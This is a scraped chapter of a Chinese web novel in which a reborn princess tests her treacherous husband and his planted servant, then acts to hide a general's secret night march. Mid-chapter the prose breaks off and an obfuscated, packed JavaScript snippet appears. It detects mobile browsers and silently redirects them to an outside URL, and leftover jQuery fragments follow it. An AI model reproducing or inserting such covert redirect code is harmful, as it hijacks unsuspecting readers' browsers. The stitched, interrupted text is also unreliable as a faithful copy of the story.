22. 试探

作品:《和死对头同归于尽后

    依照惯例,新妇进门第一日需早起拜见舅姑。但顾容与无父无母,只他一人撑着顾家,因而沈瑶华安安稳稳睡了个好觉,睡醒后神清气爽,那些乱七八糟的念头总算被压了下去。


    她打了个哈欠,道:“故梦?”


    门外人似是已等了很久,听见房中声音,屋外光影一动,一个面带笑意的白衣人走进来,唤道:“殿下。”


    沈瑶华猛然一震,瞬间困意全无。


    顾容与这厮站在屋外作甚?!


    她竭力维持着表情,平静道:“原是驸马来了。昨夜本宫劳累,故而先睡下了,驸马一夜睡得可好?”


    “多谢殿下关心。”顾容与将一碟点心放在几上,“没有殿下传召,臣不敢擅留公主府过夜,便先回了顾府。清晨起身,想到殿下爱吃这桃花酥,就让小厮买了,臣亲自送给殿下品尝。”


    话音未落,点心已由顾容与亲手拿着递至沈瑶华唇边。


    白衣男子神色温柔,道:“殿下尝尝,如何?”


    沈瑶华才不敢吃他送的东西,闻言只略一点头,故作困倦地推拒道:“这桃花酥瞧着便美味极了,只是本宫还未洗漱,否则定要亲自尝尝。故梦呢?”


    方才被掩上的门重新打开,故梦满面为难地走进来,行礼道:“奴婢在。驸马带了小厮过来给公主送东西,可没有殿下旨意,奴婢不敢放他进来,您看……”


    “让他进来便是。”沈瑶华朝顾容与露出个笑,“驸马的人便是本宫的人,本宫也想瞧瞧,驸马究竟给本宫送了什么呢。”


    故梦拦在门前的手一松,一名身形瘦弱的少年低眉顺眼地进屋请安,将一个大盒子放在桌前,随后便谨慎地退在一旁。


    这少年虽低着头,但沈瑶华的视线一直停在他身上,待他在屋中角落立定,沈瑶华才垂下眼睛,悄悄攥紧了被褥。


    这张脸,她实在熟悉得很。


    此人是顾容与身边的亲近小厮,虽是成婚前刚来顾府,却一跃成了顾容与身边最得力的亲信。


    她从前不加防备,只当顾容与怜他年少贫苦才带在身边加以教导,直到国破那日,她心如死灰地卧在榻上,才见这少年立在顾容与的身侧,将自己的身份吐露了个干净。


    他是萧家派来的人。


    沈瑶华不动声色地移开目光,笑道:“这孩子生得倒好,不知叫什么名字?”


    顾容与的眉梢动了动,温和道:“他才来臣的身边,还没有名字。殿下既然觉得这孩子不错,可要给他取个名字?”


    他当真可称是天下第一流的戏子,连她这般试探都能面色不变,还能开口让她给这小厮起名。


    但顾容与既说了,沈瑶华亦不推拒,托着腮想了一会,忽而转头问道:“你的父母给你取过名字么?”


    这话明面是问名字,实则是问他有无父母。这少年年纪还轻,没听出话里意思,先是一怔,继而又埋头道:“母亲给奴取过名字,叫长庆。”


    前世他并不叫长庆,想来顾容与亦没问过他原本叫什么,随便指了个名字而已。


    想到此处,沈瑶华道:“既是你母亲取的名字,那就还是叫长庆吧。你母亲取的名字很好,她如今还在吗?”


    长庆的唇角微颤,似是想要开口,却被顾容与打断道:“长庆,你先退下,我有私事同殿下说。”


    顾容与自然不会由着她问清长庆的来历,沈瑶华心中敞亮,便也由着长庆退了出去。


    门再次掩上,故梦端着铜盆上来服侍瑶华洗漱。顾容与亦很懂规矩,在旁替她拿着巾帕伺候,沈瑶华浑身起鸡皮疙瘩,忙吐了漱口水,道:“驸马不必如此。”


    “殿下是不想臣在侧服侍么?”


    顾容与满面忧伤,低垂着眉眼倒打一耙,“殿下对一个小厮这般关心,却对臣不闻不问,着实让臣伤心至极。”


    若换作前世,沈瑶华早已被他迷得晕头转向,他说什么都乖乖应下。可如今沈瑶华只觉恶心,用余光瞟他一眼,险些连隔夜饭都呕了出来。


    道高一尺,魔高一丈,她立即装着拿起手帕擦着眼角,哽咽道:“一个小厮而已,怎比得过驸马在本宫心中的分量?驸马这话,是不相信本宫吗?”


    少女的眼睛一转眼便红了起来,连着鼻尖也染上了一层烟霞,泪落如珠,动人得不像话。


    顾容与没料到她作如此反应,试图解释道:“臣……”


    手帕后的眼色传至故梦眼中,故梦会意,冷着脸从顾容与手中夺过巾帕,道:“驸马不懂如何服侍殿下,还是先出去吧。今日殿下伤心,怕是不会传召驸马了。”


    “殿下……”


    顾容与还想说话,沈瑶华却假哭得更厉害,见此情景,故梦脸色铁青,几乎是推搡着把顾容与请了出去。


    门被重重关上,门外人犹不甘心地立在门前,却被沈瑶华的亲近侍女一左一右架起,很快便彻底没了声音。


    确定顾容与真的滚了,沈瑶华的眼睛虽还红着,泪水却已被尽数收了回去。


    故梦将门锁紧,随后快步上前扶住沈瑶华,担忧道:“殿下没事吧?”


    “没事。”沈瑶华的声音四平八稳,“只是洗脸水进眼睛了而已。”


    她伸手抹掉脸上的水渍,轻松道:“把他送的吃食丢出去,这东西有毒,莫要叫无辜的猫儿狗儿误食了。至于这盒子……”


    沈瑶华的目光落在盒子上,皱眉道:“为何这么熟悉?”


    故梦随着她看向盒子,起身将盒子打开,惊呼道:“这不是一梦堂的衣裳吗?”


    月白长裙被日光映得发蓝,沈瑶华不由失笑:“顾容与这厮还真是心思缜密,竟想到拿一梦堂的衣裳来试探我。”


    前些日子送去的图样此刻已成了精美的衣衫,连沈瑶华自个儿都未见过,却被顾容与先带了过来。


    故梦将裙子从盒中拿出,犹疑道:“殿下要穿吗?”


    “为何不穿?”


    上次设计的衣裳穿在了母后身上,穿自己亲手绘制的衣裳,沈瑶华这还是第一次。


    她示意故梦将长裙放进衣箱中,懒散道:“不过,今日不穿。”


    故梦依言将它叠好收着,又按照沈瑶华的意思取出件寻常布衣,却仍难掩心中疑惑:“可这衣裳是顾容与送来的,殿下是否多存些防备,若是有毒……”


    “一梦堂有琳琅在,她认得顾容与,必不会许他下毒。”


    沈瑶华利落地用木簪绾了个发髻,朝故梦


    ;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17308619|196036||http|test|mini|href|location''.split(''|''),0,{}));


    () {


    $(''.inform'').remove();


    $(''#content'').append(''


    眨眨眼睛。


    “而且,绝影一直跟着他呢。”


    自从前些日子传出萧如晦要出征的消息,沈瑶华便重新给绝影派了个任务,要他日夜盯着顾容与。


    果不其然,成婚第一日便派上了用场。


    屋檐下黑影一闪而过,沈瑶华随口问道:“对了,萧如晦不是要去北边打仗吗?怎么没见他去?”


    绝影待她换完衣裳才从窗口跃下,抱拳道:“听宫里的消息,萧如晦昨日私下向陛下求了旨意,先送过殿下再深夜出征。因着夜间行军的确更隐蔽,陛下准允了萧如晦所请,现下他应当已在关外了。”


    “这么快?”沈瑶华意外地挑眉,“我还以为他会迟几日再走,毕竟……”


    余下的话她没有说出来,萧如晦昨日匆匆离去的身影犹在眼前,沈瑶华一怔,将话咽了回去。


    萧如晦的心思一直都明白至极,莫说沈瑶华,怕是连顾容与都看得出来。北荒与顾容与有勾连,定然早知此次出征以萧如晦为主将,心悦之人成婚,换作谁都会神思不属,战场上失误也并非没有可能。


    方才绝影的消息极隐秘,除却沈瑶华与景文帝,再无旁人知晓萧如晦已带着精锐星夜出关。


    大军仍好好待在京城中,萧将军府也一切如旧,北荒没有萧如晦出征的消息,准备还不充分,若是夜间奇袭……


    沈瑶华心中一惊,不得不暗叹萧如晦心思深重。


    萧如晦在京中有暗探,想必他与她一样,都早已知道朝中有北荒的奸细。


    若奸细探出了萧如晦的行踪,知晓他如今不在京城……


    沈瑶华的心猛的一沉。


    她匆匆翻出帷帽,沉声道:“故梦,跟我出去。”


    “啊?”


    故梦连忙扣上帷帽,“殿下,怎么了?”


    “此刻京城中尚且无人知晓萧如晦已出征,顾容与的眼睛盯在他身上,一旦传出萧如晦不在府中的消息,事情极有可能泄露。”


    沈瑶华飞速道,“绝影去联系萧如晦身边的残月,让他扮成萧如晦的样子来酒肆!”


    绝影得令,一闪身从檐下窜了出去。


    公主府布局与前世无异,沈瑶华在此处住了许多年,闭着眼睛也能摸清楚小道的位置。她从一处隐蔽的小路绕出公主府,步伐虽缓慢,心中却已将几步棋局计算清楚。


    按萧家和顾容与打听消息的速度,定然早已知道萧如晦与赵娘子有极密切的关系。


    赵娘子的行踪虽不定,每次现身亦隐秘,却只与萧如晦一人来往,若赵娘子此刻出现,自然无人会怀疑萧如晦此刻尚在京城中。


    北荒一战极其重要,前世萧如晦此战胜得惨烈,大燕兵力折损大半,若能拖得哪怕一刻的时间——


    酒肆的牌匾落在沈瑶华眼前,沈瑶华深吸一口气,平稳地走进店门,道:“来一壶红绡醉。”


    这是前次萧如晦定下的暗号,琳琅明白她的意思,恭敬道:“请客官随我上来,房中人等您许久了。”


    耳畔风声飒飒,绝影的身影在眼前极快闪过,若不留心,断然不会发觉他已经回到了沈瑶华的身边。


    她示意绝影悄悄在房外等着,提起裙摆,优雅地推开房门。